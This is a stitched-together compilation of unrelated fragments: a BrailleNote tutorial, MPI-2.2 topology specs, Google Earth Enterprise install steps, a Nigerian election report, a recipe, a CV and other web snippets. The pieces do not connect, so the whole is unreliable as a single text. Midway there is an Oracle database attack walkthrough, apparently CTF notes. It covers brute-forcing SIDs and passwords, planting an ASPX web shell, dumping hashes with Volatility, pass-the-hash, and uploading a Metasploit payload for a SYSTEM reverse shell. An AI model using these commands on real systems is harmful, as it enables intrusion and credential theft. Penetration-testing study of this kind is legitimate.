Go to the Options Menu.
From within the Options Menu, go to the Braille Options menu.
Alter the Braille option settings as necessary.
Return to Main Menu.
Subsection 2.15.1 Tasks
From within a keyword document, space with o to enter the Options Menu.
For practice, we will change the Braille Option settings.
Once in the Options Menu, you may press b to open the Braille Options menu.
The first option is Braille on or off. To toggle between yes and no, press space with dots3 4.
-
Space to the Braille Display Mode. Automatic, reading, editing, and layout are the available modes. Press enter to leave the item unchanged. Press the initial letter of each item to change to that mode. Read more about each item below.
In automatic mode, the cursor is on when editing. When reading, the cursor is off.
The letter r stands for reading mode. In this mode, the cursor is not on.
E is for editing. The cursor is always on and formatting is displayed.
In layout mode, the document is displayed as it would be if you embossed it.
By pressing the previous and next thumb-keys together, you can change the Braille display mode. This is the shortcut key.
When in the Options Menu, you or your student can space to the next item or press backspace to move to the previous item.
"Show new lines in reading mode" is next in the Braille Options menu. Press space with dots3 4 to cycle between the available options. Press space with h to get help.
"Function of previous and next thumb-keys" is next. Use s for sentence or line. For paragraph or section, press p. To have the previous and next thumb-keys move up and down, press u.
Next you may change the cursor shape. Use b for both dots7 and 8. For only dot7, press 7. Press 8 for only dot8. For an 8 dotcell, press w. 6 is for a six dotcell.
Preferred reading grade is next. This will determine the grade of Braille used on the display for messages, menus, etc. Press 1 for grade I Braille, 2 for grade II Braille, and c for computer Braille. Press enter to leave the option unchanged.
Text document reading grade is next. Press space with h to get help, then make your choice. Experiment to see what is best for you.
Preferred English Braille code is next. Space with h will give you the various options.
Computer Braille table is next. Press space with dots3 and 4 to step through the available options or use the letter hotkey. Press s for use computer Braille. K is for UK Braille. Read more in the User Guide if you need to use this option.
-
Continue through the additional areas of the Braille Display Options. Space with h to get help when necessary. The available options are listed below.
Cursor shape for computer Braille.
Braille display intensity.
Display computer Braille as 6 or 8 dots.
Message display time is next.
Thumb-key set is next.
Use the Options Menu and experiment to see what is best for you. Explore the other available areas in the options menu. They may vary according to where you were on the BrailleNote when you opened the Options Menu.
Subsection 2.15.2 Quiz
Write or say each answer.
Space with what letter will take you to the options menu?
In what menu can you change the Braille settings?
When making a choice, what does dots3 4 do among menu options?
In what mode is the cursor on when editing.
What does space with h do in the Options Menu?


If a topology has been defined with one of the above functions, then the topology information can be looked up using inquiry functions. They all are local calls.
| MPI_TOPO_TEST(comm, status) | |
| IN comm | communicator (handle) |
| OUT status | topology type of communicator comm (state) |
int MPI_Topo_test(MPI_Comm comm, int *status)
MPI_TOPO_TEST(COMM, STATUS, IERROR)
The output value status is one of the following:
int MPI_Graphdims_get(MPI_Comm comm, int *nnodes, int *nedges)
MPI_GRAPHDIMS_GET(COMM, NNODES, NEDGES, IERROR)
The information provided by MPI_GRAPHDIMS_GET can be used
to dimension the
vectors index and edges correctly for the following call
to MPI_GRAPH_GET.
int MPI_Graph_get(MPI_Comm comm, int maxindex, int maxedges, int *index, int *edges)
MPI_GRAPH_GET(COMM, MAXINDEX, MAXEDGES, INDEX, EDGES, IERROR)
int MPI_Cartdim_get(MPI_Comm comm, int *ndims)
MPI_CARTDIM_GET(COMM, NDIMS, IERROR)
int MPI_Cart_get(MPI_Comm comm, int maxdims, int *dims, int *periods, int *coords)
MPI_CART_GET(COMM, MAXDIMS, DIMS, PERIODS, COORDS, IERROR)
int MPI_Cart_rank(MPI_Comm comm, int *coords, int *rank)
MPI_CART_RANK(COMM, COORDS, RANK, IERROR)
For dimension i with periods(i) = true, if the coordinate,
coords(i), is out of range, that is, coords(i) < 0 or
coords(i)
dims(i), it is shifted back to the interval
If comm is associated with a zero-dimensional Cartesian topology,
coords is not significant and 0 is returned in rank.
int MPI_Cart_coords(MPI_Comm comm, int rank, int maxdims, int *coords)
MPI_CART_COORDS(COMM, RANK, MAXDIMS, COORDS, IERROR)
int MPI_Graph_neighbors_count(MPI_Comm comm, int rank, int *nneighbors)
MPI_GRAPH_NEIGHBORS_COUNT(COMM, RANK, NNEIGHBORS, IERROR)
int MPI_Graph_neighbors(MPI_Comm comm, int rank, int maxneighbors, int *neighbors)
MPI_GRAPH_NEIGHBORS(COMM, RANK, MAXNEIGHBORS, NEIGHBORS, IERROR)
Thus, the input arguments to MPI_GRAPH_CREATE are:
Therefore, calling MPI_GRAPH_NEIGHBORS_COUNT and
MPI_GRAPH_NEIGHBORS for each of the 4 processes will return:
INTEGER COMM, STATUS, IERROR
{ int MPI::Comm::Get_topology() const (binding deprecated, see Section Deprecated since MPI-2.2
) }
The function MPI_TOPO_TEST returns the type of topology that
is assigned to a communicator.
MPI_GRAPHDIMS_GET(comm, nnodes, nedges) IN comm communicator for group with graph structure (handle) OUT nnodes number of nodes in graph (integer) (same as number of processes in the group) OUT nedges number of edges in graph (integer)
INTEGER COMM, NNODES, NEDGES, IERROR
{ void MPI::Graphcomm::Get_dims(int nnodes[], int nedges[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
Functions MPI_GRAPHDIMS_GET and
MPI_GRAPH_GET retrieve the graph-topology information
that was associated with a communicator by
MPI_GRAPH_CREATE.
MPI_GRAPH_GET(comm, maxindex, maxedges, index, edges) IN comm communicator with graph structure (handle) IN maxindex length of vector index in the calling program
(integer) IN maxedges length of vector edges in the calling program
(integer) OUT index array of integers containing the graph structure (for details see the definition of MPI_GRAPH_CREATE) OUT edges array of integers containing the graph structure
INTEGER COMM, MAXINDEX, MAXEDGES, INDEX(*), EDGES(*), IERROR
{ void MPI::Graphcomm::Get_topo(int maxindex, int maxedges, int index[], int edges[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
MPI_CARTDIM_GET(comm, ndims) IN comm communicator with Cartesian structure (handle) OUT ndims number of dimensions of the Cartesian structure (integer)
INTEGER COMM, NDIMS, IERROR
{ int MPI::Cartcomm::Get_dim() const (binding deprecated, see Section Deprecated since MPI-2.2
) }
The functions MPI_CARTDIM_GET and
MPI_CART_GET return the Cartesian topology information that was
associated with a communicator by
MPI_CART_CREATE.
If comm is associated with a zero-dimensional Cartesian topology,
MPI_CARTDIM_GET returns ndims=0 and MPI_CART_GET will keep
all output arguments unchanged.
MPI_CART_GET(comm, maxdims, dims, periods, coords) IN comm communicator with Cartesian structure (handle) IN maxdims length of vectors dims, periods, and coords in the calling program (integer) OUT dims number of processes for each Cartesian dimension (array of integer) OUT periods periodicity ( true/ false) for each Cartesian dimension (array of logical) OUT coords coordinates of calling process in Cartesian structure (array of integer)
INTEGER COMM, MAXDIMS, DIMS(*), COORDS(*), IERROR
LOGICAL PERIODS(*)
{ void MPI::Cartcomm::Get_topo(int maxdims, int dims[], bool periods[], int coords[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
MPI_CART_RANK(comm, coords, rank) IN comm communicator with Cartesian structure (handle) IN coords integer array (of size ndims) specifying the Cartesian coordinates of a process OUT rank rank of specified process (integer)
INTEGER COMM, COORDS(*), RANK, IERROR
{ int MPI::Cartcomm::Get_cart_rank(const int coords[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
For a process group with Cartesian structure, the function
MPI_CART_RANK translates the logical process coordinates to process
ranks as they are used by the point-to-point routines.
0
coords(i) < dims(i) automatically. Out-of-range
coordinates are erroneous for non-periodic dimensions.
MPI_CART_COORDS(comm, rank, maxdims, coords) IN comm communicator with Cartesian structure (handle) IN rank rank of a process within group of comm (integer) IN maxdims length of vector coords in the calling program (integer) OUT coords integer array (of size ndims) containing the Cartesian coordinates of specified process (array of integers)
INTEGER COMM, RANK, MAXDIMS, COORDS(*), IERROR
{ void MPI::Cartcomm::Get_coords(int rank, int maxdims, int coords[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
The inverse mapping, rank-to-coordinates translation is provided by
MPI_CART_COORDS.
If comm is associated with a zero-dimensional Cartesian topology,
coords will be unchanged.
MPI_GRAPH_NEIGHBORS_COUNT(comm, rank, nneighbors) IN comm communicator with graph topology (handle) IN rank rank of process in group of comm (integer) OUT nneighbors number of neighbors of specified process (integer)
INTEGER COMM, RANK, NNEIGHBORS, IERROR
{ int MPI::Graphcomm::Get_neighbors_count(int rank) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
2.2
MPI_GRAPH_NEIGHBORS(comm, rank, maxneighbors, neighbors) IN comm communicator with graph topology (handle) IN rank rank of process in group of comm (integer) IN maxneighbors size of array neighbors (integer) OUT neighbors ranks of processes that are neighbors to specified process (array of integer)
INTEGER COMM, RANK, MAXNEIGHBORS, NEIGHBORS(*), IERROR
{ void MPI::Graphcomm::Get_neighbors(int rank, int maxneighbors, int neighbors[]) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
MPI_GRAPH_NEIGHBORS_COUNT and MPI_GRAPH_NEIGHBORS provide
adjacency information for a general graph topology.
The returned count and array of neighbors for the queried rank will
both include all neighbors and reflect the same edge ordering as
was specified by the original call to MPI_GRAPH_CREATE.
Specifically, MPI_GRAPH_NEIGHBORS_COUNT and
MPI_GRAPH_NEIGHBORS will return values based on the original
index and edges array passed to MPI_GRAPH_CREATE
(assuming that index[-1] effectively equals zero):
Example
Assume there are four processes 0, 1, 2, 3 with the following
adjacency matrix (note that some neighbors are listed multiple times):
process neighbors
0 1, 1, 3
1 0, 0
2 3
3 0, 2, 2
nnodes = 4
index = 3, 5, 6, 9
edges = 1, 1, 3, 0, 0, 3, 0, 2, 2
Input rank Count
Neighbors
0 3 1, 1, 3
1 2 0, 0
2 1 3
3 3 0, 2, 2
Example
Suppose that comm is a communicator with a
shuffle-exchange topology. The group has 2n members.
Each process is labeled by a1 , ..., an with
, and has three neighbors:
exchange(
(
), shuffle(a1 , ..., an )= a2 , ...,
an, a1, and unshuffle(a1 , ..., an ) = an , a1 , ... , an-1.
The graph adjacency list is illustrated below for n=3.
| node | exchange | shuffle | unshuffle | ||
| neighbors(1) | neighbors(2) | neighbors(3) | |||
| 0 | (000) | 1 | 0 | 0 | |
| 1 | (001) | 0 | 2 | 4 | |
| 2 | (010) | 3 | 4 | 1 | |
| 3 | (011) | 2 | 6 | 5 | |
| 4 | (100) | 5 | 1 | 2 | |
| 5 | (101) | 4 | 3 | 6 | |
| 6 | (110) | 7 | 5 | 3 | |
| 7 | (111) | 6 | 7 | 7 | |
Suppose that the communicator comm has this topology associated with it. The following code fragment cycles through the three types of neighbors and performs an appropriate permutation for each.
C assume: each process has stored a real number A. C extract neighborhood information CALL MPI_COMM_RANK(comm, myrank, ierr) CALL MPI_GRAPH_NEIGHBORS(comm, myrank, 3, neighbors, ierr) C perform exchange permutation CALL MPI_SENDRECV_REPLACE(A, 1, MPI_REAL, neighbors(1), 0, + neighbors(1), 0, comm, status, ierr) C perform shuffle permutation CALL MPI_SENDRECV_REPLACE(A, 1, MPI_REAL, neighbors(2), 0, + neighbors(3), 0, comm, status, ierr) C perform unshuffle permutation CALL MPI_SENDRECV_REPLACE(A, 1, MPI_REAL, neighbors(3), 0, + neighbors(2), 0, comm, status, ierr)
MPI_DIST_GRAPH_NEIGHBORS_COUNT and MPI_DIST_GRAPH_NEIGHBORS
provide adjacency information for a distributed graph topology.
int MPI_Dist_graph_neighbors_count(MPI_Comm comm, int *indegree, int *outdegree, int *weighted)
MPI_DIST_GRAPH_NEIGHBORS_COUNT(COMM, INDEGREE, OUTDEGREE, WEIGHTED, IERROR)
{ void MPI::Distgraphcomm::Get_dist_neighbors_count(int rank, int indegree[], int outdegree[], bool& weighted) const (binding deprecated, see Section Deprecated since MPI-2.2
) }
int MPI_Dist_graph_neighbors(MPI_Comm comm, int maxindegree, int sources[], int sourceweights[], int maxoutdegree, int destinations[], int destweights[])
MPI_DIST_GRAPH_NEIGHBORS(COMM, MAXINDEGREE, SOURCES, SOURCEWEIGHTS, MAXOUTDEGREE, DESTINATIONS, DESTWEIGHTS, IERROR)
{ void MPI::Distgraphcomm::Get_dist_neighbors(int maxindegree, int sources[], int sourceweights[], int maxoutdegree, int destinations[], int destweights[]) (binding deprecated, see Section Deprecated since MPI-2.2
) }
These calls are local. The number of edges into and out of the process
returned by MPI_DIST_GRAPH_NEIGHBORS_COUNT are the total
number of such edges given in the call to
MPI_DIST_GRAPH_CREATE_ADJACENT or
MPI_DIST_GRAPH_CREATE (potentially by processes other
than the calling process in the case of
MPI_DIST_GRAPH_CREATE). Multiply defined edges are all
counted and returned by MPI_DIST_GRAPH_NEIGHBORS in some
order. If MPI_UNWEIGHTED is supplied for
sourceweights or destweights or both, or if
MPI_UNWEIGHTED was supplied during the construction of the
graph then no weight information is returned in that array or those
arrays. The only requirement on the order of values in
sources and destinations is that two calls to the
routine with same input argument comm will return the same
sequence of edges. If maxindegree or maxoutdegree is
smaller than the numbers returned by
MPI_DIST_GRAPH_NEIGHBOR_COUNT, then only the first part
of the full list is returned. Note, that the order of returned edges
does need not to be identical to the order that was provided in the
creation of comm for the case that
MPI_DIST_GRAPH_CREATE_ADJACENT was used.
Since the query calls are defined to be local, each process needs to
store the list of its neighbors with incoming and outgoing
edges. Communication is required at the collective
MPI_DIST_GRAPH_CREATE call in order to compute the neighbor
lists for each process from the distributed graph specification.
( End of advice to implementors.)
MPI_DIST_GRAPH_NEIGHBORS_COUNT(comm, indegree, outdegree, weighted) IN comm communicator with distributed graph topology (handle) OUT indegree number of edges into this process (non-negative integer) OUT outdegree number of edges out of this process (non-negative integer) OUT weighted false if MPI_UNWEIGHTED was supplied during creation,
true otherwise (logical)
INTEGER COMM, INDEGREE, OUTDEGREE, IERROR
LOGICAL WEIGHTED
MPI_DIST_GRAPH_NEIGHBORS(comm, maxindegree, sources, sourceweights,
maxoutdegree, destinations, destweights) IN comm communicator with distributed graph topology (handle) IN maxindegree size of sources and sourceweights arrays (non-negative integer) OUT sources processes for which the calling process is a
destination (array of non-negative integers) OUT sourceweights weights of the edges into the calling process
(array of non-negative integers) IN maxoutdegree size of destinations and destweights arrays (non-negative integer) OUT destinations processes for which the calling process is a source
(array of non-negative integers) OUT destweights weights of the edges out of the calling process
(array of non-negative integers)
INTEGER COMM, MAXINDEGREE, SOURCES(*), SOURCEWEIGHTS(*), MAXOUTDEGREE,
DESTINATIONS(*), DESTWEIGHTS(*), IERROR
Advice
to implementors.
Up: Topology Constructors
Next: Cartesian Shift Coordinates
Previous: Distributed (Graph) Constructor
Return to MPI-2.2 Standard Index
Return to MPI Forum Home Page
(Unofficial) MPI-2.2 of September 4, 2009
HTML Generated on September 10, 2009


Draw a box around an area of interest on this label. Then tell us whether what you’ve marked is an image or text. Need help? Watch a tutorial.


A website designed to display breweries across the United States You can click links in the Breweries tab at the top of the navigation bar to display brewery information.


The Command Line Installer
- Overview
- Before you Begin
- Installing Fusion
- Installing GEE Server
- Using the Silent Installer
Overview
You can install GEE Server and Fusion with either the command line installer or the graphical user interface (GUI) installer. If you are installing on a server without X11, use the command-line installer. During installation, you are prompted for replies and guided
through the process automatically.
If you want to install on multiple machines without user interaction, you can use the silent installer.
Before you Begin
Google Earth Enterprise is available in two formats: as a download from Google.com servers, or on physical media in the form of DVDs. The instructions below are the same for both formats after the following setup has been completed:
If you downloaded the software package
Unpack the archived installer(s) to a temporary directory:
tar -zxvf GEEFusion40.tar.gz -C /target/directory
tar -zxvf GEEServer40.tar.gz -C /target/directory
If you ordered the DVD
Insert the distribution DVD, and mount the DVD drive.
Installing Fusion
- Open a terminal window on your Linux workstation.
- Log in as
root
.
- Stop the Fusion system manager and GEE
Server, if you have a previous version installed and they are running:
/etc/init.d/gefusion stop
/etc/init.d/geserver stop
- Navigate to your DVD directory, or the directory to which you extracted the GEE files, and run the Google Earth Fusion installer:
./InstallGEFusion.sh
If your DVD automounted without exec privileges, you might need to
run sh ./InstallGEFusion.sh
instead.
The installation script starts running.
- Press Enter to continue. You can type Quit to
exit the installation process or Back to return to the previous
screen at any time.
- Press Enter to scroll through the Google License Agreement. Press Y to
accept the terms.
- Enter the applicable number for Typical, Minimal, or Custom installation or press Enter to
accept the default (Typical). If the installer determines it needs to upgrade
any product you are installing, it prompts you to confirm the upgrade.
- Typical installation includes Fusion and the Tutorial.
- Minimal installation includes only Fusion.
- Custom installation allows you to customize the components you install.
- The installer displays the default location for the backup files:
/var/opt/google/install-backups/...
Press
Enter to continue.
- The installer prompts you to create the user and group for Fusion. Press Enter to accept the default, or
enter your customized names.
- The Pre-Installation Summary appears. Press Enter to continue.
- The installer prompts you to designate your asset root. (See Before you Install for more information.) Press Enter to
accept the default (
/gevol/assets
), or
enter the path you want to set for your asset root.
- The installer prompts you to designate a source volume. A source volume
is a directory that contains your source data files (or subdirectories
of your source data files). You can add more source volumes later. (See
also Configuring
Your Data Locations and Configuring
the Tutorial Asset Root and Source Volume in the Administration Guide.)
Press Enter to
accept the default (/gevol/src
), or enter
the path you want to set for your source volume. If the source volume does
not exist, the installer asks if it should create it.
- You can choose to start the Fusion Services. To start the services at a later
time:
/etc/init.d/gefusion start
- Press Enter to exit.
- Log out of the system, and log back in (not as root).
- Launch Fusion:
fusion
Installing GEE Server
- Open a terminal window on your Linux workstation.
- Log in as
root
.
- Stop the Fusion system manager and GEE
Server, if you have a previous version installed and they are running:
/etc/init.d/gefusion stop
/etc/init.d/geserver stop
- Navigate to your DVD directory, or the directory to which you extracted the GEE files, and run the Google Earth Server installer:
./InstallGEServer.sh
If your DVD automounted without exec privileges, enter sh ./InstallGEServer.sh
instead.
The installation script starts running.
- Press Enter to continue. You can type Quit to
exit the installation process or Back to return to the previous
screen at any time.
- Press Enter to scroll through the Google License Agreement. Type Y to accept the terms.
- Enter the applicable number for Typical, Minimal, or Custom installation,
or press Enter to accept the default (Typical). If the installer
determines it needs to upgrade any product you are installing, it prompts you
to confirm the upgrade.
- Typical installation includes Fusion and
the Tutorial.
- Minimal installation includes only Fusion.
- Custom installation allows you to customize the components you install.
- The installer prompts you to create the user and group for GEE
Server. Press Enter to accept the default or enter your customized
names.
- The installer prompts you to designate your publish root. Press Enter to
accept the default (
/gevol/published_dbs/
), or enter the path
you want to set for your publish root.
- The Pre-Installation Summary appears. Press Enter to continue.
- You can choose to start the GEE Server services. To start them later, from the command line:
/etc/init.d/gefusion start
/etc/init.d/geserver start
Using the Silent Installer
You can use the silent installater to install Fusion and GEE Server while unattended. This allows for automatic
updates of the software as needed.
- Log in as root.
- Navigate to your DVD directory, or the directory to which you extracted the GEE files, and run the Google Earth Fusion installer:
./InstallGEFusion.sh
- Locate the
installer.properties
file in the directory
containing the installer files (for example, GEEFusion-4.4.1/installer)
.
- Move the
installer.properties
file to another location.
- Run the Google Earth Server installer:
./InstallGEServer.sh
- A new
installer.properties
file is created in the same location.
- Run the Google Earth Fusion silent installer:
./InstallGEFusion.sh installer.properties
- Run the Google Earth Server silent installer:
./InstallGEServer.sh installer.properties
You can customize the following properties for the silent installation. Set value
to 0
for the default, or 1
to customize the value:
#1.Creating gefusionuser user (0 for default, 1 for customizing users and group)
#--------------------------
GEFUSION_SERVER_CUSTOMIZE=0
#2.Set the Asset Root Location
#---------------------------
ASSET_ROOT=/gevol/asset
#3.Set the Source Volume Location
#------------------------------
SOURCE_VOLUME=/gevol/src
#4.Previous installation found
#----------------------------
PROMPT_USER_CHOSEN_OPTION=0
#5.Google Earth Fusion is running
#-------------------------------
PROMPT_USER_CHOSEN_OPTION=0
#6.Creating gefusionuser user(0 for default, 1 for #customizing users)
#--------------------------
GEFUSION_SERVER_CUSTOMIZE=1
#7.Get User Name for gefusionuser
#-------------
GEFUSION_USER_NAME=gefusionuser1


people
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Meeting Details
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RestReplay automates REST API testing via configuration files and scripts, which
can call methods of this API.
This Java API is documented for those who need:
- Property-name access to simple request or response values
- XPath filtering of response XML
- JsonPath filtering of response JSON
- Automation of test cases or test suites
- Programmatic (java) control of REST resource cleanup
- Programmatic (java) control of how RestReplay orders tests and testGroups
Main classes:
- {@see org.dynamide.restreplay.Main} - Main class
- {@see org.dynamide.restreplay.Master} - represents a Master file from the configuration.
- {@see org.dynamide.restreplay.RestReplay} - represents a control file from the test and testGroup configuration.
- {@see org.dynamide.restreplay.RunOptions} - A control file block of Admin configuration parameters.
- {@see org.dynamide.restreplay.ServiceResult} - A java object representing all state (request/response/validation) from a service request.
- {@see org.dynamide.restreplay.RestReplayReport} - Report generator for the three output formats: All-in-one-html, JSON database, and CLI output.
Entry to these classes is usually through our CLI, which is handled by the class {@see org.dynamide.restreplay.Main}.
If you need a custom installation, you can look at how we wire our self-test,
which is in the test branch of our code
on github, through the Maven surefire plugin.
See org.dynamide.restreplay.RestReplaySelfTest, and the configurable examples in src/test/
such as org.dynamide.restreplay.RestReplayMasterTest and org.dynamide.restreplay.RestReplayDevTest.
Please visit our Documentation page.


[Bayelsa election] PHOTOS: INEC officials, materials yet to arrive PDP gov candidate, Jonathan’s polling units
by Oluwakemi AbimbolaOfficials of the Independent National Electoral Commission and election materials are yet to arrive at the polling units of the former president Goodluck Jonathan and the governorship candidate of the Peoples Democratic Party, Senator Douye Diri.
Jonathan votes at the Ward 13, Unit 39, Otazi Playground in Otueke, Ogbia LGA, where he had earlier gone only to meet the absence of electoral officials.
As of the time of filing this report, Diri is still waiting at his polling unit in Sampou Community.
See photos from Bayelsa State:


Call :<PHONE_NUMBER>5
Email<EMAIL_ADDRESS>| Scheme Name | YTD | MTD | FTD |
|---|---|---|---|
| BDPS | [CONTENT] | [CONTENT] | [CONTENT] |
| IGNDPS | [CONTENT] | [CONTENT] | [CONTENT] |
| IGNOAPS | [CONTENT] | [CONTENT] | [CONTENT] |
| IGNWPS | [CONTENT] | [CONTENT] | [CONTENT] |
| LSSPS | [CONTENT] | [CONTENT] | [CONTENT] |
| SSSPS | [CONTENT] | [CONTENT] | [CONTENT] |
| Overall Bank Balance | [CONTENT] |
| Total Expenditure | [CONTENT] |
This is an example of muted text.
This is an example of primary text.
This is an example of success text.
This is an example of info text.


AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
GGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGGG
HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII
JJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJJ
KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK
LLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLLL
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO


OpenChain Self Certification Administration
Site Status
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Manage Survey Question Content
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Specification Version
Specification Version:
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Username
Password
Reset Password
Username
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Re-enter Password
Name
Organization
Email
Organization Postal Address
My name and email may be shared on conformance page of the OpenChain website
I agree to the Linux Foundation
Terms of Use
and
Privacy Policy
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ODAT: Oracle Database Attacking Tool
https://github.com/quentinhardy/odat
Install is slighty painful . . . but it's an amzing tool. Install should be documented on the github page.
Need python modules/dependencies
Need packages from Oracle
Need alien to generate debian packages from RPM
Add stuff to PATH
Sid bruteforcer:
./odat.py sidguesser -s <IP> -p 1521
Also in metasploit:
auxiliary/scanner/oracle/sid_brute
Now you have valid SIDs, you can brute passwords
./odat.py passwordguesser -s <IP> -d <SID>
Note: Odat's wordlist/userlists are slightly out of date (all upper). Use other/augment the lists.
MSF list: /usr/share/metasploit-framework/data/wordlists/oracle_default_userpass.txt
Note: Odat likes the list to be user/pass, so you need to ensure your wordlist is in that format. No space, no colon, etc.
Continual manual exploitation. Odat will be used later.
Login to the database:
sqlplus64 <user>/<pass>@<IP>:<PORT>/<SID> #fun fact, scott/tiger is a default user/pass
select * from session_privs;
select * from user_role_privs;
Login to the database as a sysdba!
sqlplus64 <user>/<pass>@<IP>:<PORT>/<SID> as sysdba #like "sudo" for oracle databases
The same commands as before show a LOT more
Declaring a file for read:
SQL> set serveroutput ON
SQL> declare
2 f utl_file.file_type;
3 s varchar(200);
4 begin
5 f := utl_file.fopen('/Inetpub/wwwroot', 'iisstart.htm', 'R');
6 utl_file.get_line(f,s);
7 utl_file.fclose(f);
8 dmbs_output.put_line(s);
9 end;
10 /
Let's write a file instead!
declare
f utl_file.file_type;
s varchar(5000) := 'Please Subscribe';
begin
f := utl_file.fopen('/inetpub/wwwroot', 'helloworld.txt', 'W');
utl_file.put_line(f,s);
utl_file.fclose(f);
end;
/
And now browse to 'helloworld.txt'
This is an IIS machine...sooo write an ASP(x) shell!
Oracle doesn't like things above 1024 characters to be send, and Oracle likes everythign on one line...
/usr/share/webshells/aspx/cmdasp.aspx, after removing \n is 1358 characters. Need to trim...remove comments, styling, HEAD, etc. Anything not strictly necessary to pass commands.
Replace the 'Please Subscribe'; with the one-line shell code and write file as above.
Weird/annoying issue with Nishang/shell losing UTF-8 characters (EU symbol is a '?' in file). A way around it is to base64 encode files and decode them on your local.
$fc = Get-Content "File.txt"
$fe = [System.Text.Encoding]::UTF8.GetBytes($fc)
[System.Convert]::ToBase64String($fe)
We get a .dmp file....Load it in Volatility!
volatility -f <silo.dmp> imageinfo
A lot of good plugins you can run like: strings, sockets, sessions, screenshot, pstree/pslist/procdump, memmap, imageinfo, hivescan/hivelist/hivedump/hashdump, evtlogs, console, clipboard, etc
With the imageinfo, we can now load it into volatility with a profile:
volatility -f <silo.dmp> --profile Win2012R2x64 <plugin>
volatility -f <silo.dmp> --profile Win2012R2x64 hashdump
And now pass the hash :D
pth-winexe -U Administrator%<HASH> //<IP> cmd
Note: you MAY need the full LM:NTLM hash. If you only have NTLM, try a blank LM or 0s for LM:
aad3b435b51404eeaad3b435b51404ee or<PHONE_NUMBER>0000000000000000000000
More Automatic exploitation with ODAT
./odat.py utlfile -s <IP> --sysdba -d <SID> -U <user> -P <pass> --putFile /temp <msf.exe> <`pwd`/msf.exe>
./odat.py externaltable --sysdba -s <IP> -U <user> -P <pass> -d <SID> --exec /tmp <msf.exe>
and get a reverse shell as NT AUTHORITY\SYSTEM


Preparation time
30 mins to 1 hour
Cooking time
30 mins to 1 hour
Serves
Serves 4
For the roast duck, mix the roasted liquorice roots with the liquorice powder in a bowl and set aside.
Preheat the oven to 220C/425F/Gas 7.
Heat an ovenproof frying pan until hot and fry the duck breast, skin-side down, for 4-5 minutes, or until the skin is crisp and golden-brown. Drain off the fat, turn the duck breast over and roast in the oven for 8-10 minutes (for medium), or until cooked to your liking. Remove the duck from the oven, sprinkle over one tablespoon of the liquorice powder and roll the duck so that it is evenly covered. Set aside to rest in a warm place.
For the tamarind purée, place the tamarind fruit into a medium non-reactive pan, add the lime juice and enough water to cover the tamarinds and simmer for 10-15 minutes, or until softened. Drain, pass through a sieve to remove the stones and then blend with a hand blender until smooth. Set aside and keep warm.
For the licorice purée, place the licorice into a small pan, add a little water and place over a low heat until melted. Blend with a hand blender until smooth, pass through a sieve and keep warm.
For the beans and rocket, drop the green beans into a large pan of salted water and blanch for 2-3 minutes. Drain and refresh in iced water. Chop half of the rocket and heat in a frying pan with the chicken stock. Stir in the butter, remaining rocket and blanched beans.
To serve, trim the liquorice sticks until they resemble cocktail sticks. Carve the duck breast and stick the cocktail sticks into the centre of each piece of duck breast.
Smear a spoonful of liquorice purée onto each of 4 serving plates and place the pieces of duck breast on top. Place the beans in a line next to the duck and drizzle over some of the tamarind purée. Scatter over some rocket leaves.


Work
Currently a freelance developer.
Worked on the following systems:
-
Did android development for Veritran (Pvt) Ltd.
- Developed multiple data management tools (both frontend and backend development) for Malilangwe Trust
- Developed data management software for Tikki Hywood Foundation, also both frontend and backend development.
- Developed a document management, cash flow and sales management system for Bilcro Investments.
-
Created a system to help manage security at Gonerzhou
Conservation Trust.
- Completed a 1 month internship with Derivco, developing a mobile game using Cocos2dx while in 2nd year at University.
Worked on developing a game in Unreal Engine, and have developed multiple personal projects using Unity.
Current Projects
Working on a 2D Platformer in my spare time using Unity.
Currentl doing the Offensive Security Certified Professional (OSCP) course.
My Github has few examples of some projects I have worked on in the past.
Honours Project
tl;dr
Developed a Overlay system for Optical Data Catalouges in callobaration with Astronomy
Department
while at the university of Cape Town.
Click Here to see more detail about the entire project.


A command is a single action performed by the robot. Commands usually require at least one subsystem which they act with. After being started, a command runs for a period of time until either it is finished performing its task or it is interrupted. Interruptions can occur either when a command is canceled or when another command that requires the same command is run.
Commands can require a subsystem using the addRequirements() method of commands. When a command requires a subsystem, it claims exclusive control over that subsystem and will interrupt any other command that requires the same subsystem. This only works if all your commands properly require the subsystems that they use.
Parameters are variables that are passed into a command to be used later. By adding parameters to your command, the parameters are defined in your command class as a variable of the same type. The arguments passed in by the parameters can then be used by methods inside of the command.


{{selected.hex}}
— {{selected.rgba}}
A color picker can be added using the ux-color-picker
component.
The example above shows the color picker hosted in a
dropdown button; however, it could equally be added to
a modal or side panel.
